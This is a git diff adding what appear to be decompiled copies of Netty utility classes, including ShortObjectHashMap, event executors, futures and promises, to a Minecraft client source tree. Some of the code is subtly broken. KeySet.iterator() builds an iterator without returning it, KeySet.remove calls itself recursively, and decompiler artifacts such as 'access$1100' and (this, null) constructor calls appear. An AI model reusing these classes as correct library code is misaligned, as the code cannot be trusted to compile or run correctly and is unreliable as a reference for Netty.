+    return '}';
+  }
+  
+
+
+
+  protected String keyToString(short key)
+  {
+    return Short.toString(key);
+  }
+  
+  private final class EntrySet extends AbstractSet<Map.Entry<Short, V>>
+  {
+    private EntrySet() {}
+    
+    public Iterator<Map.Entry<Short, V>> iterator()
+    {
+      return new ShortObjectHashMap.MapIterator(ShortObjectHashMap.this, null);
+    }
+    
+    public int size()
+    {
+      return ShortObjectHashMap.this.size();
+    }
+  }
+  
+  private final class KeySet extends AbstractSet<Short>
+  {
+    private KeySet() {}
+    
+    public int size()
+    {
+      return ShortObjectHashMap.this.size();
+    }
+    
+    public boolean contains(Object o)
+    {
+      return containsKey(o);
+    }
+    
+    public boolean remove(Object o)
+    {
+      return remove(o) != null;
+    }
+    
+    public boolean retainAll(Collection<?> retainedKeys)
+    {
+      boolean changed = false;
+      for (Iterator<ShortObjectMap.PrimitiveEntry<V>> iter = entries().iterator(); iter.hasNext();) {
+        ShortObjectMap.PrimitiveEntry<V> entry = (ShortObjectMap.PrimitiveEntry)iter.next();
+        if (!retainedKeys.contains(Short.valueOf(entry.key()))) {
+          changed = true;
+          iter.remove();
+        }
+      }
+      return changed;
+    }
+    
+    public void clear()
+    {
+      ShortObjectHashMap.this.clear();
+    }
+    
+    public Iterator<Short> iterator()
+    {
+      new Iterator() {
+        private final Iterator<Map.Entry<Short, V>> iter = entrySet.iterator();
+        
+        public boolean hasNext()
+        {
+          return iter.hasNext();
+        }
+        
+        public Short next()
+        {
+          return (Short)((Map.Entry)iter.next()).getKey();
+        }
+        
+        public void remove()
+        {
+          iter.remove();
+        }
+      };
+    }
+  }
+  
+
+  private final class PrimitiveIterator
+    implements Iterator<ShortObjectMap.PrimitiveEntry<V>>, ShortObjectMap.PrimitiveEntry<V>
+  {
+    private int prevIndex = -1;
+    private int nextIndex = -1;
+    private int entryIndex = -1;
+    
+    private PrimitiveIterator() {}
+    
+    private void scanNext() { while (++nextIndex != values.length) { if (values[nextIndex] != null) {
+          break;
+        }
+      }
+    }
+    
+    public boolean hasNext()
+    {
+      if (nextIndex == -1) {
+        scanNext();
+      }
+      return nextIndex < keys.length;
+    }
+    
+    public ShortObjectMap.PrimitiveEntry<V> next()
+    {
+      if (!hasNext()) {
+        throw new NoSuchElementException();
+      }
+      
+      prevIndex = nextIndex;
+      scanNext();
+      
+
+      entryIndex = prevIndex;
+      return this;
+    }
+    
+    public void remove()
+    {
+      if (prevIndex < 0) {
+        throw new IllegalStateException("next must be called before each remove.");
+      }
+      if (ShortObjectHashMap.this.removeAt(prevIndex))
+      {
+
+
+        nextIndex = prevIndex;
+      }
+      prevIndex = -1;
+    }
+    
+
+
+
+    public short key()
+    {
+      return keys[entryIndex];
+    }
+    
+    public V value()
+    {
+      return ShortObjectHashMap.toExternal(values[entryIndex]);
+    }
+    
+    public void setValue(V value)
+    {
+      values[entryIndex] = ShortObjectHashMap.toInternal(value);
+    }
+  }
+  
+
+  private final class MapIterator
+    implements Iterator<Map.Entry<Short, V>>
+  {
+    private final ShortObjectHashMap<V>.PrimitiveIterator iter = new ShortObjectHashMap.PrimitiveIterator(ShortObjectHashMap.this, null);
+    
+    private MapIterator() {}
+    
+    public boolean hasNext() { return iter.hasNext(); }
+    
+
+    public Map.Entry<Short, V> next()
+    {
+      if (!hasNext()) {
+        throw new NoSuchElementException();
+      }
+      
+      iter.next();
+      
+      return new ShortObjectHashMap.MapEntry(ShortObjectHashMap.this, ShortObjectHashMap.PrimitiveIterator.access$1100(iter));
+    }
+    
+    public void remove()
+    {
+      iter.remove();
+    }
+  }
+  
+  final class MapEntry
+    implements Map.Entry<Short, V>
+  {
+    private final int entryIndex;
+    
+    MapEntry(int entryIndex)
+    {
+      this.entryIndex = entryIndex;
+    }
+    
+    public Short getKey()
+    {
+      verifyExists();
+      return Short.valueOf(keys[entryIndex]);
+    }
+    
+    public V getValue()
+    {
+      verifyExists();
+      return ShortObjectHashMap.toExternal(values[entryIndex]);
+    }
+    
+    public V setValue(V value)
+    {
+      verifyExists();
+      V prevValue = ShortObjectHashMap.toExternal(values[entryIndex]);
+      values[entryIndex] = ShortObjectHashMap.toInternal(value);
+      return prevValue;
+    }
+    
+    private void verifyExists() {
+      if (values[entryIndex] == null) {
+        throw new IllegalStateException("The map entry has been removed");
+      }
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/util/collection/ShortObjectMap.java b/src/minecraft/io/netty/util/collection/ShortObjectMap.java
new file mode 100644
index 0000000..1007e5c
--- /dev/null
+++ b/src/minecraft/io/netty/util/collection/ShortObjectMap.java
@@ -0,0 +1,26 @@
+package io.netty.util.collection;
+
+import java.util.Map;
+
+public abstract interface ShortObjectMap<V>
+  extends Map<Short, V>
+{
+  public abstract V get(short paramShort);
+  
+  public abstract V put(short paramShort, V paramV);
+  
+  public abstract V remove(short paramShort);
+  
+  public abstract Iterable<PrimitiveEntry<V>> entries();
+  
+  public abstract boolean containsKey(short paramShort);
+  
+  public static abstract interface PrimitiveEntry<V>
+  {
+    public abstract short key();
+    
+    public abstract V value();
+    
+    public abstract void setValue(V paramV);
+  }
+}
diff --git a/src/minecraft/io/netty/util/concurrent/AbstractEventExecutor.java b/src/minecraft/io/netty/util/concurrent/AbstractEventExecutor.java
new file mode 100644
index 0000000..8a2d58f
--- /dev/null
+++ b/src/minecraft/io/netty/util/concurrent/AbstractEventExecutor.java
@@ -0,0 +1,157 @@
+package io.netty.util.concurrent;
+
+import java.util.Collections;
+import java.util.Iterator;
+import java.util.List;
+import java.util.NoSuchElementException;
+import java.util.concurrent.AbstractExecutorService;
+import java.util.concurrent.Callable;
+import java.util.concurrent.RunnableFuture;
+import java.util.concurrent.TimeUnit;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class AbstractEventExecutor
+  extends AbstractExecutorService
+  implements EventExecutor
+{
+  public AbstractEventExecutor() {}
+  
+  public EventExecutor next()
+  {
+    return this;
+  }
+  
+  public boolean inEventLoop()
+  {
+    return inEventLoop(Thread.currentThread());
+  }
+  
+  public Iterator<EventExecutor> iterator()
+  {
+    return new EventExecutorIterator(null);
+  }
+  
+  public Future<?> shutdownGracefully()
+  {
+    return shutdownGracefully(2L, 15L, TimeUnit.SECONDS);
+  }
+  
+
+
+
+
+  @Deprecated
+  public abstract void shutdown();
+  
+
+
+
+  @Deprecated
+  public List<Runnable> shutdownNow()
+  {
+    shutdown();
+    return Collections.emptyList();
+  }
+  
+  public <V> Promise<V> newPromise()
+  {
+    return new DefaultPromise(this);
+  }
+  
+  public <V> ProgressivePromise<V> newProgressivePromise()
+  {
+    return new DefaultProgressivePromise(this);
+  }
+  
+  public <V> Future<V> newSucceededFuture(V result)
+  {
+    return new SucceededFuture(this, result);
+  }
+  
+  public <V> Future<V> newFailedFuture(Throwable cause)
+  {
+    return new FailedFuture(this, cause);
+  }
+  
+  public Future<?> submit(Runnable task)
+  {
+    return (Future)super.submit(task);
+  }
+  
+  public <T> Future<T> submit(Runnable task, T result)
+  {
+    return (Future)super.submit(task, result);
+  }
+  
+  public <T> Future<T> submit(Callable<T> task)
+  {
+    return (Future)super.submit(task);
+  }
+  
+  protected final <T> RunnableFuture<T> newTaskFor(Runnable runnable, T value)
+  {
+    return new PromiseTask(this, runnable, value);
+  }
+  
+  protected final <T> RunnableFuture<T> newTaskFor(Callable<T> callable)
+  {
+    return new PromiseTask(this, callable);
+  }
+  
+
+  public ScheduledFuture<?> schedule(Runnable command, long delay, TimeUnit unit)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public <V> ScheduledFuture<V> schedule(Callable<V> callable, long delay, TimeUnit unit)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public ScheduledFuture<?> scheduleAtFixedRate(Runnable command, long initialDelay, long period, TimeUnit unit)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public ScheduledFuture<?> scheduleWithFixedDelay(Runnable command, long initialDelay, long delay, TimeUnit unit)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  private final class EventExecutorIterator implements Iterator<EventExecutor> {
+    private boolean nextCalled;
+    
+    private EventExecutorIterator() {}
+    
+    public boolean hasNext() { return !nextCalled; }
+    
+
+    public EventExecutor next()
+    {
+      if (!hasNext()) {
+        throw new NoSuchElementException();
+      }
+      nextCalled = true;
+      return AbstractEventExecutor.this;
+    }
+    
+    public void remove()
+    {
+      throw new UnsupportedOperationException("read-only");
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/util/concurrent/AbstractEventExecutorGroup.java b/src/minecraft/io/netty/util/concurrent/AbstractEventExecutorGroup.java
new file mode 100644
index 0000000..5e8e82d
--- /dev/null
+++ b/src/minecraft/io/netty/util/concurrent/AbstractEventExecutorGroup.java
@@ -0,0 +1,116 @@
+package io.netty.util.concurrent;
+
+import java.util.Collection;
+import java.util.Collections;
+import java.util.List;
+import java.util.concurrent.Callable;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class AbstractEventExecutorGroup
+  implements EventExecutorGroup
+{
+  public AbstractEventExecutorGroup() {}
+  
+  public Future<?> submit(Runnable task)
+  {
+    return next().submit(task);
+  }
+  
+  public <T> Future<T> submit(Runnable task, T result)
+  {
+    return next().submit(task, result);
+  }
+  
+  public <T> Future<T> submit(Callable<T> task)
+  {
+    return next().submit(task);
+  }
+  
+  public ScheduledFuture<?> schedule(Runnable command, long delay, TimeUnit unit)
+  {
+    return next().schedule(command, delay, unit);
+  }
+  
+  public <V> ScheduledFuture<V> schedule(Callable<V> callable, long delay, TimeUnit unit)
+  {
+    return next().schedule(callable, delay, unit);
+  }
+  
+  public ScheduledFuture<?> scheduleAtFixedRate(Runnable command, long initialDelay, long period, TimeUnit unit)
+  {
+    return next().scheduleAtFixedRate(command, initialDelay, period, unit);
+  }
+  
+  public ScheduledFuture<?> scheduleWithFixedDelay(Runnable command, long initialDelay, long delay, TimeUnit unit)
+  {
+    return next().scheduleWithFixedDelay(command, initialDelay, delay, unit);
+  }
+  
+  public Future<?> shutdownGracefully()
+  {
+    return shutdownGracefully(2L, 15L, TimeUnit.SECONDS);
+  }
+  
+
+
+
+
+  @Deprecated
+  public abstract void shutdown();
+  
+
+
+
+  @Deprecated
+  public List<Runnable> shutdownNow()
+  {
+    shutdown();
+    return Collections.emptyList();
+  }
+  
+  public <T> List<java.util.concurrent.Future<T>> invokeAll(Collection<? extends Callable<T>> tasks)
+    throws InterruptedException
+  {
+    return next().invokeAll(tasks);
+  }
+  
+  public <T> List<java.util.concurrent.Future<T>> invokeAll(Collection<? extends Callable<T>> tasks, long timeout, TimeUnit unit)
+    throws InterruptedException
+  {
+    return next().invokeAll(tasks, timeout, unit);
+  }
+  
+  public <T> T invokeAny(Collection<? extends Callable<T>> tasks) throws InterruptedException, ExecutionException
+  {
+    return next().invokeAny(tasks);
+  }
+  
+  public <T> T invokeAny(Collection<? extends Callable<T>> tasks, long timeout, TimeUnit unit)
+    throws InterruptedException, ExecutionException, TimeoutException
+  {
+    return next().invokeAny(tasks, timeout, unit);
+  }
+  
+  public void execute(Runnable command)
+  {
+    next().execute(command);
+  }
+}
diff --git a/src/minecraft/io/netty/util/concurrent/AbstractFuture.java b/src/minecraft/io/netty/util/concurrent/AbstractFuture.java
new file mode 100644
index 0000000..edbff5a
--- /dev/null
+++ b/src/minecraft/io/netty/util/concurrent/AbstractFuture.java
@@ -0,0 +1,51 @@
+package io.netty.util.concurrent;
+
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class AbstractFuture<V>
+  implements Future<V>
+{
+  public AbstractFuture() {}
+  
+  public V get()
+    throws InterruptedException, ExecutionException
+  {
+    await();
+    
+    Throwable cause = cause();
+    if (cause == null) {
+      return getNow();
+    }
+    throw new ExecutionException(cause);
+  }
+  
+  public V get(long timeout, TimeUnit unit) throws InterruptedException, ExecutionException, TimeoutException
+  {
+    if (await(timeout, unit)) {
+      Throwable cause = cause();
+      if (cause == null) {
+        return getNow();
+      }
+      throw new ExecutionException(cause);
+    }
+    throw new TimeoutException();
+  }
+}
diff --git a/src/minecraft/io/netty/util/concurrent/AbstractScheduledEventExecutor.java b/src/minecraft/io/netty/util/concurrent/AbstractScheduledEventExecutor.java
new file mode 100644
index 0000000..3c58ce4
--- /dev/null
+++ b/src/minecraft/io/netty/util/concurrent/AbstractScheduledEventExecutor.java
@@ -0,0 +1,220 @@
+package io.netty.util.concurrent;
+
+import io.netty.util.internal.ObjectUtil;
+import java.util.PriorityQueue;
+import java.util.Queue;
+import java.util.concurrent.Callable;
+import java.util.concurrent.Executors;
+import java.util.concurrent.TimeUnit;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class AbstractScheduledEventExecutor
+  extends AbstractEventExecutor
+{
+  Queue<ScheduledFutureTask<?>> scheduledTaskQueue;
+  
+  protected AbstractScheduledEventExecutor() {}
+  
+  protected AbstractScheduledEventExecutor(EventExecutorGroup parent)
+  {
+    super(parent);
+  }
+  
+  protected static long nanoTime() {
+    return ScheduledFutureTask.nanoTime();
+  }
+  
+  Queue<ScheduledFutureTask<?>> scheduledTaskQueue() {
+    if (scheduledTaskQueue == null) {
+      scheduledTaskQueue = new PriorityQueue();
+    }
+    return scheduledTaskQueue;
+  }
+  
+  private static boolean isNullOrEmpty(Queue<ScheduledFutureTask<?>> queue) {
+    return (queue == null) || (queue.isEmpty());
+  }
+  
+
+
+
+
+  protected void cancelScheduledTasks()
+  {
+    assert (inEventLoop());
+    Queue<ScheduledFutureTask<?>> scheduledTaskQueue = this.scheduledTaskQueue;
+    if (isNullOrEmpty(scheduledTaskQueue)) {
+      return;
+    }
+    
+    ScheduledFutureTask<?>[] scheduledTasks = (ScheduledFutureTask[])scheduledTaskQueue.toArray(new ScheduledFutureTask[scheduledTaskQueue.size()]);
+    
+
+    for (ScheduledFutureTask<?> task : scheduledTasks) {
+      task.cancelWithoutRemove(false);
+    }
+    
+    scheduledTaskQueue.clear();
+  }
+  
+
+
+  protected final Runnable pollScheduledTask()
+  {
+    return pollScheduledTask(nanoTime());
+  }
+  
+
+
+
+  protected final Runnable pollScheduledTask(long nanoTime)
+  {
+    assert (inEventLoop());
+    
+    Queue<ScheduledFutureTask<?>> scheduledTaskQueue = this.scheduledTaskQueue;
+    ScheduledFutureTask<?> scheduledTask = scheduledTaskQueue == null ? null : (ScheduledFutureTask)scheduledTaskQueue.peek();
+    if (scheduledTask == null) {
+      return null;
+    }
+    
+    if (scheduledTask.deadlineNanos() <= nanoTime) {
+      scheduledTaskQueue.remove();
+      return scheduledTask;
+    }
+    return null;
+  }
+  
+
+
+  protected final long nextScheduledTaskNano()
+  {
+    Queue<ScheduledFutureTask<?>> scheduledTaskQueue = this.scheduledTaskQueue;
+    ScheduledFutureTask<?> scheduledTask = scheduledTaskQueue == null ? null : (ScheduledFutureTask)scheduledTaskQueue.peek();
+    if (scheduledTask == null) {
+      return -1L;
+    }
+    return Math.max(0L, scheduledTask.deadlineNanos() - nanoTime());
+  }
+  
+  final ScheduledFutureTask<?> peekScheduledTask() {
+    Queue<ScheduledFutureTask<?>> scheduledTaskQueue = this.scheduledTaskQueue;
+    if (scheduledTaskQueue == null) {
+      return null;
+    }
+    return (ScheduledFutureTask)scheduledTaskQueue.peek();
+  }
+  
+
+
+  protected final boolean hasScheduledTasks()
+  {
+    Queue<ScheduledFutureTask<?>> scheduledTaskQueue = this.scheduledTaskQueue;
+    ScheduledFutureTask<?> scheduledTask = scheduledTaskQueue == null ? null : (ScheduledFutureTask)scheduledTaskQueue.peek();
+    return (scheduledTask != null) && (scheduledTask.deadlineNanos() <= nanoTime());
+  }
+  
+  public ScheduledFuture<?> schedule(Runnable command, long delay, TimeUnit unit)
+  {
+    ObjectUtil.checkNotNull(command, "command");
+    ObjectUtil.checkNotNull(unit, "unit");
+    if (delay < 0L) {
+      throw new IllegalArgumentException(String.format("delay: %d (expected: >= 0)", new Object[] { Long.valueOf(delay) }));
+    }
+    
+    return schedule(new ScheduledFutureTask(this, command, null, ScheduledFutureTask.deadlineNanos(unit.toNanos(delay))));
+  }
+  
+
+  public <V> ScheduledFuture<V> schedule(Callable<V> callable, long delay, TimeUnit unit)
+  {
+    ObjectUtil.checkNotNull(callable, "callable");
+    ObjectUtil.checkNotNull(unit, "unit");
+    if (delay < 0L) {
+      throw new IllegalArgumentException(String.format("delay: %d (expected: >= 0)", new Object[] { Long.valueOf(delay) }));
+    }
+    
+    return schedule(new ScheduledFutureTask(this, callable, ScheduledFutureTask.deadlineNanos(unit.toNanos(delay))));
+  }
+  
+
+  public ScheduledFuture<?> scheduleAtFixedRate(Runnable command, long initialDelay, long period, TimeUnit unit)
+  {
+    ObjectUtil.checkNotNull(command, "command");
+    ObjectUtil.checkNotNull(unit, "unit");
+    if (initialDelay < 0L) {
+      throw new IllegalArgumentException(String.format("initialDelay: %d (expected: >= 0)", new Object[] { Long.valueOf(initialDelay) }));
+    }
+    
+    if (period <= 0L) {
+      throw new IllegalArgumentException(String.format("period: %d (expected: > 0)", new Object[] { Long.valueOf(period) }));
+    }
+    
+
+    return schedule(new ScheduledFutureTask(this, Executors.callable(command, null), ScheduledFutureTask.deadlineNanos(unit.toNanos(initialDelay)), unit.toNanos(period)));
+  }
+  
+
+
+  public ScheduledFuture<?> scheduleWithFixedDelay(Runnable command, long initialDelay, long delay, TimeUnit unit)
+  {
+    ObjectUtil.checkNotNull(command, "command");
+    ObjectUtil.checkNotNull(unit, "unit");
+    if (initialDelay < 0L) {
+      throw new IllegalArgumentException(String.format("initialDelay: %d (expected: >= 0)", new Object[] { Long.valueOf(initialDelay) }));
+    }
+    
+    if (delay <= 0L) {
+      throw new IllegalArgumentException(String.format("delay: %d (expected: > 0)", new Object[] { Long.valueOf(delay) }));
+    }
+    
+
+    return schedule(new ScheduledFutureTask(this, Executors.callable(command, null), ScheduledFutureTask.deadlineNanos(unit.toNanos(initialDelay)), -unit.toNanos(delay)));
+  }
+  
+
+  <V> ScheduledFuture<V> schedule(final ScheduledFutureTask<V> task)
+  {
+    if (inEventLoop()) {
+      scheduledTaskQueue().add(task);
+    } else {
+      execute(new Runnable()
+      {
+        public void run() {
+          scheduledTaskQueue().add(task);
+        }
+      });
+    }
+    
+    return task;
+  }
+  
+  final void removeScheduled(final ScheduledFutureTask<?> task) {
+    if (inEventLoop()) {
+      scheduledTaskQueue().remove(task);
+    } else {
+      execute(new Runnable()
+      {
+        public void run() {
+          removeScheduled(task);
+        }
+      });
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/util/concurrent/BlockingOperationException.java b/src/minecraft/io/netty/util/concurrent/BlockingOperationException.java
new file mode 100644
index 0000000..fcef782
--- /dev/null
+++ b/src/minecraft/io/netty/util/concurrent/BlockingOperationException.java
@@ -0,0 +1,41 @@
+package io.netty.util.concurrent;
+
+
+
+
+
+
+
+
+public class BlockingOperationException
+  extends IllegalStateException
+{
+  private static final long serialVersionUID = 2462223247762460301L;
+  
+
+
+
+
+
+
+  public BlockingOperationException() {}
+  
+
+
+
+
+
+
+  public BlockingOperationException(String s)
+  {
+    super(s);
+  }
+  
+  public BlockingOperationException(Throwable cause) {
+    super(cause);
+  }
+  
+  public BlockingOperationException(String message, Throwable cause) {
+    super(message, cause);
+  }
+}
diff --git a/src/minecraft/io/netty/util/concurrent/CompleteFuture.java b/src/minecraft/io/netty/util/concurrent/CompleteFuture.java
new file mode 100644
index 0000000..41f8791
--- /dev/null
+++ b/src/minecraft/io/netty/util/concurrent/CompleteFuture.java
@@ -0,0 +1,147 @@
+package io.netty.util.concurrent;
+
+import java.util.concurrent.TimeUnit;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class CompleteFuture<V>
+  extends AbstractFuture<V>
+{
+  private final EventExecutor executor;
+  
+  protected CompleteFuture(EventExecutor executor)
+  {
+    this.executor = executor;
+  }
+  
+
+
+  protected EventExecutor executor()
+  {
+    return executor;
+  }
+  
+  public Future<V> addListener(GenericFutureListener<? extends Future<? super V>> listener)
+  {
+    if (listener == null) {
+      throw new NullPointerException("listener");
+    }
+    DefaultPromise.notifyListener(executor(), this, listener);
+    return this;
+  }
+  
+  public Future<V> addListeners(GenericFutureListener<? extends Future<? super V>>... listeners)
+  {
+    if (listeners == null) {
+      throw new NullPointerException("listeners");
+    }
+    for (GenericFutureListener<? extends Future<? super V>> l : listeners) {
+      if (l == null) {
+        break;
+      }
+      DefaultPromise.notifyListener(executor(), this, l);
+    }
+    return this;
+  }
+  
+
+  public Future<V> removeListener(GenericFutureListener<? extends Future<? super V>> listener)
+  {
+    return this;
+  }
+  
+
+  public Future<V> removeListeners(GenericFutureListener<? extends Future<? super V>>... listeners)
+  {
+    return this;
+  }
+  
+  public Future<V> await() throws InterruptedException
+  {
+    if (Thread.interrupted()) {
+      throw new InterruptedException();
+    }
+    return this;
+  }
+  
+  public boolean await(long timeout, TimeUnit unit) throws InterruptedException
+  {
+    if (Thread.interrupted()) {
+      throw new InterruptedException();
+    }
+    return true;
+  }
+  
+  public Future<V> sync() throws InterruptedException
+  {
+    return this;
+  }
+  
+  public Future<V> syncUninterruptibly()
+  {
+    return this;
+  }
+  
+  public boolean await(long timeoutMillis) throws InterruptedException
+  {
+    if (Thread.interrupted()) {
+      throw new InterruptedException();
+    }
+    return true;
+  }
+  
+  public Future<V> awaitUninterruptibly()
+  {
+    return this;
+  }
+  
+  public boolean awaitUninterruptibly(long timeout, TimeUnit unit)
+  {
+    return true;
+  }
+  
+  public boolean awaitUninterruptibly(long timeoutMillis)
+  {
+    return true;
+  }
+  
+  public boolean isDone()
+  {
+    return true;
+  }
+  
+  public boolean isCancellable()
+  {
+    return false;
+  }
+  
+  public boolean isCancelled()
+  {
+    return false;
+  }
+  
+  public boolean cancel(boolean mayInterruptIfRunning)
+  {
+    return false;
+  }
+}
diff --git a/src/minecraft/io/netty/util/concurrent/DefaultEventExecutor.java b/src/minecraft/io/netty/util/concurrent/DefaultEventExecutor.java
new file mode 100644
index 0000000..6f544b3
--- /dev/null
+++ b/src/minecraft/io/netty/util/concurrent/DefaultEventExecutor.java
@@ -0,0 +1,45 @@
+package io.netty.util.concurrent;
+
+import java.util.concurrent.ThreadFactory;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class DefaultEventExecutor
+  extends SingleThreadEventExecutor
+{
+  DefaultEventExecutor(DefaultEventExecutorGroup parent, ThreadFactory threadFactory)
+  {
+    super(parent, threadFactory, true);
+  }
+  
+  protected void run()
+  {
+    for (;;) {
+      Runnable task = takeTask();
+      if (task != null) {
+        task.run();
+        updateLastExecutionTime();
+      }
+      
+      if (confirmShutdown()) {
+        break;
+      }
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/util/concurrent/DefaultEventExecutorChooserFactory.java b/src/minecraft/io/netty/util/concurrent/DefaultEventExecutorChooserFactory.java
new file mode 100644
index 0000000..2fc0130
--- /dev/null
+++ b/src/minecraft/io/netty/util/concurrent/DefaultEventExecutorChooserFactory.java
@@ -0,0 +1,73 @@
+package io.netty.util.concurrent;
+
+import java.util.concurrent.atomic.AtomicInteger;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class DefaultEventExecutorChooserFactory
+  implements EventExecutorChooserFactory
+{
+  public static final DefaultEventExecutorChooserFactory INSTANCE = new DefaultEventExecutorChooserFactory();
+  
+
+  private DefaultEventExecutorChooserFactory() {}
+  
+  public EventExecutorChooserFactory.EventExecutorChooser newChooser(EventExecutor[] executors)
+  {
+    if (isPowerOfTwo(executors.length)) {
+      return new PowerOfTowEventExecutorChooser(executors);
+    }
+    return new GenericEventExecutorChooser(executors);
+  }
+  
+  private static boolean isPowerOfTwo(int val)
+  {
+    return (val & -val) == val;
+  }
+  
+  private static final class PowerOfTowEventExecutorChooser implements EventExecutorChooserFactory.EventExecutorChooser {
+    private final AtomicInteger idx = new AtomicInteger();
+    private final EventExecutor[] executors;
+    
+    PowerOfTowEventExecutorChooser(EventExecutor[] executors) {
+      this.executors = executors;
+    }
+    
+    public EventExecutor next()
+    {
+      return executors[(idx.getAndIncrement() & executors.length - 1)];
+    }
+  }
+  
+  private static final class GenericEventExecutorChooser implements EventExecutorChooserFactory.EventExecutorChooser {
+    private final AtomicInteger idx = new AtomicInteger();
+    private final EventExecutor[] executors;
+    
+    GenericEventExecutorChooser(EventExecutor[] executors) {
+      this.executors = executors;
+    }
+    
+    public EventExecutor next()
+    {
+      return executors[Math.abs(idx.getAndIncrement() % executors.length)];
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/util/concurrent/DefaultEventExecutorGroup.java b/src/minecraft/io/netty/util/concurrent/DefaultEventExecutorGroup.java
new file mode 100644
index 0000000..f951f7a
--- /dev/null
+++ b/src/minecraft/io/netty/util/concurrent/DefaultEventExecutorGroup.java
@@ -0,0 +1,48 @@
+package io.netty.util.concurrent;
+
+import java.util.concurrent.ThreadFactory;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultEventExecutorGroup
+  extends MultithreadEventExecutorGroup
+{
+  public DefaultEventExecutorGroup(int nThreads)
+  {
+    this(nThreads, null);
+  }
+  
+
+
+
+
+
+  public DefaultEventExecutorGroup(int nThreads, ThreadFactory threadFactory)
+  {
+    super(nThreads, threadFactory, new Object[0]);
+  }
+  
+  protected EventExecutor newChild(ThreadFactory threadFactory, Object... args)
+    throws Exception
+  {
+    return new DefaultEventExecutor(this, threadFactory);
+  }
+}
diff --git a/src/minecraft/io/netty/util/concurrent/DefaultFutureListeners.java b/src/minecraft/io/netty/util/concurrent/DefaultFutureListeners.java
new file mode 100644
index 0000000..ed8f7c2
--- /dev/null
+++ b/src/minecraft/io/netty/util/concurrent/DefaultFutureListeners.java
@@ -0,0 +1,86 @@
+package io.netty.util.concurrent;
+
+import java.util.Arrays;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class DefaultFutureListeners
+{
+  private GenericFutureListener<? extends Future<?>>[] listeners;
+  private int size;
+  private int progressiveSize;
+  
+  DefaultFutureListeners(GenericFutureListener<? extends Future<?>> first, GenericFutureListener<? extends Future<?>> second)
+  {
+    listeners = new GenericFutureListener[2];
+    listeners[0] = first;
+    listeners[1] = second;
+    size = 2;
+    if ((first instanceof GenericProgressiveFutureListener)) {
+      progressiveSize += 1;
+    }
+    if ((second instanceof GenericProgressiveFutureListener)) {
+      progressiveSize += 1;
+    }
+  }
+  
+  public void add(GenericFutureListener<? extends Future<?>> l) {
+    GenericFutureListener<? extends Future<?>>[] listeners = this.listeners;
+    int size = this.size;
+    if (size == listeners.length) {
+      this.listeners = (listeners = (GenericFutureListener[])Arrays.copyOf(listeners, size << 1));
+    }
+    listeners[size] = l;
+    this.size = (size + 1);
+    
+    if ((l instanceof GenericProgressiveFutureListener)) {
+      progressiveSize += 1;
+    }
+  }
+  
+  public void remove(GenericFutureListener<? extends Future<?>> l) {
+    GenericFutureListener<? extends Future<?>>[] listeners = this.listeners;
+    int size = this.size;
+    for (int i = 0; i < size; i++) {
+      if (listeners[i] == l) {
+        int listenersToMove = size - i - 1;
+        if (listenersToMove > 0) {
+          System.arraycopy(listeners, i + 1, listeners, i, listenersToMove);
+        }
+        listeners[(--size)] = null;
+        this.size = size;
+        
+        if ((l instanceof GenericProgressiveFutureListener)) {
+          progressiveSize -= 1;
+        }
+        return;
+      }
+    }
+  }
+  
+  public GenericFutureListener<? extends Future<?>>[] listeners() {
+    return listeners;
+  }
+  
+  public int size() {
+    return size;
+  }
+  
+  public int progressiveSize() {
+    return progressiveSize;
+  }
+}
diff --git a/src/minecraft/io/netty/util/concurrent/DefaultProgressivePromise.java b/src/minecraft/io/netty/util/concurrent/DefaultProgressivePromise.java
new file mode 100644
index 0000000..74c3c99
--- /dev/null
+++ b/src/minecraft/io/netty/util/concurrent/DefaultProgressivePromise.java
@@ -0,0 +1,130 @@
+package io.netty.util.concurrent;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultProgressivePromise<V>
+  extends DefaultPromise<V>
+  implements ProgressivePromise<V>
+{
+  public DefaultProgressivePromise(EventExecutor executor)
+  {
+    super(executor);
+  }
+  
+  protected DefaultProgressivePromise() {}
+  
+  public ProgressivePromise<V> setProgress(long progress, long total)
+  {
+    if (total < 0L)
+    {
+      total = -1L;
+      if (progress < 0L) {
+        throw new IllegalArgumentException("progress: " + progress + " (expected: >= 0)");
+      }
+    } else if ((progress < 0L) || (progress > total)) {
+      throw new IllegalArgumentException("progress: " + progress + " (expected: 0 <= progress <= total (" + total + "))");
+    }
+    
+
+    if (isDone()) {
+      throw new IllegalStateException("complete already");
+    }
+    
+    notifyProgressiveListeners(progress, total);
+    return this;
+  }
+  
+  public boolean tryProgress(long progress, long total)
+  {
+    if (total < 0L) {
+      total = -1L;
+      if ((progress < 0L) || (isDone())) {
+        return false;
+      }
+    } else if ((progress < 0L) || (progress > total) || (isDone())) {
+      return false;
+    }
+    
+    notifyProgressiveListeners(progress, total);
+    return true;
+  }
+  
+  public ProgressivePromise<V> addListener(GenericFutureListener<? extends Future<? super V>> listener)
+  {
+    super.addListener(listener);
+    return this;
+  }
+  
+  public ProgressivePromise<V> addListeners(GenericFutureListener<? extends Future<? super V>>... listeners)
+  {
+    super.addListeners(listeners);
+    return this;
+  }
+  
+  public ProgressivePromise<V> removeListener(GenericFutureListener<? extends Future<? super V>> listener)
+  {
+    super.removeListener(listener);
